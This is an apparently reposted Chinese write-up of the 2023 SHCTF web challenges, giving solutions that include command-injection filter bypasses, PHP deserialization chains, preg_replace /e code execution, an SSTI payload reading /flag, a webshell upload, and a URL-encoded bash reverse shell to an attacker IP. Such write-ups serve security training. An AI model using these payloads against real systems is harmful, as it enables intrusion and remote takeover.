2023 SHCTF-校外赛道 WEB WP

这篇具有很好参考价值的文章主要介绍了2023 SHCTF-校外赛道 WEB WP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

WEEK1

babyRCE

 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了一些常用命令、数字等,空格也被过滤了,那么可以用${IFS}代替。ls也可以用,好好好,上传命令

?rce=ls${IFS}/

得到

2023 SHCTF-校外赛道 WEB WP

但要获取flag就需要使用通配符来绕过了。。因为过滤了flag字符

?rce=uniq${IFS}/f???
flag{82c3aa08-6f04-48ab-abf3-99b9aaa1cd22} 

1zzphp

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  

分析源码,第一步需要给num传参,不能为数字,但intval函数是用于获取参数的整数值,如果不是数

字,就会返回FALSE,所以我们采用数组来绕过第一段。然后进入第二段过滤,利用PCRE时间回溯漏

洞,通过发送大量字符串,使其超过返回上限即可绕过.

exp:

import requests

url = "..../?num[]"

data = {'c_ode': 'very' * 250000 + '2023SHCTF'}
res = requests.post(url, data=data)
print(res.text)

ez_serialize

听说你会PHP反序列化漏洞?不信,除非can_can_need_flag

 <?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

一道较为基础的反序列化链子

文章推荐:php 反序列化总结

<?php
highlight_file(__FILE__);
class A{
    public $var_1;
    public function __invoke(){
        include($this->var_1);
    }
}
class B{
    public $q;
    public function __wakeup()
{
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
        echo "hacker";
        }
    }
}
class C{
    public $var;
    public $z;
    public function __toString(){
        return $this->z->var;
    }
}
class D{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new A();
$b=new B();
$c=new C();
$d=new D();
$b->q=$c;
$c->z=$d;
$c->var=$c;
$d->p=$a;
$a->var_1="php://filter/convert.base64-encode/resource=flag.php";
echo serialize($b);
?>

登录就给flag

点击登录,等待3秒,跳转到登录页面,尝试弱口令admin和password,登录成功

 2023 SHCTF-校外赛道 WEB WP

飞机大战

查看源代码找到

2023 SHCTF-校外赛道 WEB WP

进去找到一串编码

2023 SHCTF-校外赛道 WEB WP

执行一下得到base64编码

print("\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006d\u0059\u007a\u004a\u0068\u004e\u006d\u0045\u0031\u005a\u0053\u0030\u0030\u004d\u0044\u0064\u0069\u004c\u0054\u0051\u0035\u0059\u0054\u0055\u0074\u004f\u0044\u0051\u0035\u004e\u0053\u0030\u0077\u0059\u007a\u0041\u0033\u004d\u007a\u005a\u006c\u004e\u0032\u0045\u007a\u005a\u006d\u0052\u0039\u000a")
ZmxhZ3tmYzJhNmE1ZS00MDdiLTQ5YTUtODQ5NS0wYzA3MzZlN2EzZmR9

解码即可

2023 SHCTF-校外赛道 WEB WP

ezphp

 <?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>
it is begin

第一个过滤接收字符在判断之后,可以直接忽视

2023 SHCTF-校外赛道 WEB WP

随后就是漏洞利用,这里是\e的命令执行

参考:深入研究preg_replace与代码执行

?code=${ phpinfo() }
pattern=\S.*

生成你的邀请函吧~

API:url/generate_invitation  
Request:POST application/json  
Body:{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

使用POST json请求来生成你的邀请函吧~flag就在里面哦~

postman向

generate_invitation

发包即可

2023 SHCTF-校外赛道 WEB WP

WEEK2

no_wake_up

 <?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

简单的反序列化

<?php
class flag{
    public $username="admin";
    public $code="php://filter/convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);
O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
PD9waHANCiRmbGFnID0gImZsYWd7YzU5NGU2MzktNDA1Ni00MmY4LThhOWItYjc2OGNmNjRkMDdkfSI7

解码即可

2023 SHCTF-校外赛道 WEB WP

ez_ssti

2023 SHCTF-校外赛道 WEB WP

ssti一把梭

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

2023 SHCTF-校外赛道 WEB WP

EasyCMS

2023 SHCTF-校外赛道 WEB WP

扫后台得到admin/admin.php,然后进入

2023 SHCTF-校外赛道 WEB WP

弱口令登录

admin/tao

点击文件管理,创建新文件,写入一句话木马

2023 SHCTF-校外赛道 WEB WP

命令执行即可得到flag

serialize

 <?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

简单的POP链

<?php
class misca{
	public $gao;
	public $fei;
	public $a;
	public function __get($key){
		echo "misca: __get: <br>";
		var_dump($key);
		$this->miaomiao();
		var_dump($this->fei);
		$this->gao=$this->fei;
		die($this->a);
}
	public function miaomiao(){
		echo "miaomiao:<br>";
		$this->a='Mikey Mouse~';
	}
}
class musca{
	public $ding;
	public $dong;
	public function __wakeup(){
		echo "musca: __wakeup: <br>";
		return $this->ding->dong;
	}
}
class milaoshu{
	public $v;
	public function __tostring(){
		echo"misca~musca~milaoshu~~~";
		include($this->v);
	}
}
function check($data){
	if(preg_match('/^O:\d+/',$data)){
		die("you should think harder!");
}
	else return $data;
}
$m = new musca();
$mi = new misca();
$mls = new milaoshu();
$mls->v = "php://filter/convert.base64-encode/resource=flag.php";
$mi->fei = $mls;
$mi->gao = &$mi->a;
$m->ding = $mi;
echo urlencode(serialize(array($m)));
$t = $_GET["wanna_fl.ag"];
var_dump($t);
unserialize(check($t));
?wanna[fl.ag=a%3A1%3A%7Bi%3A0%3BO%3A5%3A%22musca%22%3A2%3A%7Bs%3A4%3A%22ding%22%3BO%3A5%3A%22misca%22%3A3%3A%7Bs%3A3%3A%22gao%22%3BN%3Bs%3A3%3A%22fei%22%3BO%3A8%3A%22milaoshu%22%3A1%3A%7Bs%3A1%3A%22v%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7Ds%3A1%3A%22a%22%3BR%3A4%3B%7Ds%3A4%3A%22dong%22%3BN%3B%7D%7D

2023 SHCTF-校外赛道 WEB WP 

MD5的事就拜托了

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

ez_rce

考点需要本地调试 Subprocess Call

第一步进行构造进行污染

?num=7&bol=True

post:

{

"exp": ["Popen", "__init__", "__defaults__"]

}

修改 Content-Type: application/json

返回 ok 代表成功

第二步构造

/?

exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2

F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22

反弹 shell 获得 flag

2023 SHCTF-校外赛道 WEB WP

WEEK3

快问快答

男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

sseerriiaalliizzee

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

gogogo

2023 SHCTF-校外赛道 WEB WP

2023 SHCTF-校外赛道 WEB WP

 文章来源地址https://www.toymoban.com/news/detail-718067.html

 

到了这里,关于2023 SHCTF-校外赛道 WEB WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [wp]NewStarCTF 2023 WEEK1|WEB

    考的就是敏感信息的泄露 题目提示两个  无非就最简单的三种 1.robots.txt 2.www.zip 3.index.php.swp 当然我的做法就是直接用dirsearch扫描了 得到了robots.txt和www.zip文件,访问拼接就得到了flag了   考的就是绕过客户端 JavaScript检验 上传一句话木马修改文件名后缀就行了 一句话木马内

    2024年02月07日
    浏览(28)
  • 【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~

    泄露的秘密 www.zip Begin of Upload 打开源码 找到限制是在前端 我们抓包 上传正常后缀的文件 比如jpg结尾 但是这样传上去服务器是无法解析的 所以我们进行抓包 然后在bp中修改后缀名 将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了 一句话木马: ?php eval

    2024年02月06日
    浏览(37)
  • 2023年SWPU NSS 秋季招新赛 (校外赛道)WP—Crypto

    题目信息 根据第一行新表base64解码即可 题目附件 基础RSA exp: 题目附件 典型的dp泄露 exp: 提示 p/q接近类型 附件信息 exp: 附件信息 题目提示 RSA多项式问题,构造多项式环,sage解 得到x后,直接解 附件信息 兔子流密码(无key型)+栅栏+base,好好好 题目提示 附件信息 有密码,

    2024年02月08日
    浏览(28)
  • 2023年SWPU NSS 秋季招新赛 (校外赛道) MISC复盘WP

    题目描述: 给了一个含二维码的动图,分离一下得到九张二维码碎片,根据文件名数字按顺序组装,在线扫码即可 题目描述: 010查看,base64转图片 但是打不开,因为宽高有问题,修改下宽高 题目描述: 文件过大,但是我们熟悉的类型,base64,32反复解 exp:  题目描述:   第

    2024年02月08日
    浏览(37)
  • NewStarCTF 2023 公开赛道 WEEK2|Crypto

    T1.滴啤 T2.不止一个pi T3.halfcandecode T4.Rotate Xor T5.broadcast T6.partial decrypt     下载题目附件,我们获得到以下代码。      观察代码得到,这是一道DP泄露题。面对DP泄露题的破解关注点就在于 对于各个数学关系的利用 。大体证明流程如下。        , 那么,我们可以获得    

    2024年02月06日
    浏览(45)
  • 2023SHCTF web方向wp

    看一眼,你大爷,啥玩意都给我过滤完了。 还好下面有preg_replace()/e,会把replacement当作php语句执行 传参pattern=.*, .*表示任意字符,code={${phpinfo()}} ,为什么这样写,因为 , \\\'print_r(\\\"\\\\1\\\")\\\' ,如果直接传phpinfo(),会被当作字符串对待,而 php中{}里面的变量会被解析,这样就能执行

    2024年02月06日
    浏览(30)
  • NewStarCTF 2023 公开赛道 WEEK4|CRYPTO 部分WP

    1、题目信息 提示: \\\"Schmidt Samoa\\\" 附件信息 2、解题方法 学了一个新技巧,哈哈哈。 简介 : Schmidt-Samoa密码系统,像rabin加密一样,其安全性基于整数因式分解的难度。但 Rabin 解密时会得到四个解,而 Schmidt-Samor 得到的是唯一解。 密钥生成 1.选取两个大的质数p和q并进行计算

    2024年02月08日
    浏览(37)
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

    再补完这个就基本上完了. Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d NTRU又一个格的基本应用   当E.order() == p时   p-1光滑时的分解 此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次    求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

    2024年02月07日
    浏览(30)
  • week1-深度学习概论

    神经网络又称人工神经网络 (ANN) 或模拟神经网络 (SNN),是机器学习的子集,同时也是深度学习算法的核心。  神经网络其名称和结构均受到人脑的启发,可模仿生物神经元相互传递信号的方式。 人工神经网络 (ANN) 由节点层组成,包含一个输入层、一个或多个隐藏层和一个

    2024年02月05日
    浏览(49)
  • 蓝桥杯冲刺 - week1

    🚩第一周从最高频-分数占比 最高 开始练习!涉及算法标签[⚽️DFS,⚽️BFS,⚽️日期问题,⚽️哈希统计] DFS 乃是暴力搜索的基础, BFS 常用于解决迷宫问题,日期问题可以视为常规题 ⏳最后三个星期大家一起冲刺,祝大家rp++🏅 如果对您有帮助的话还请动动小手 点赞👍,收藏

    2023年04月08日
    浏览(61)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包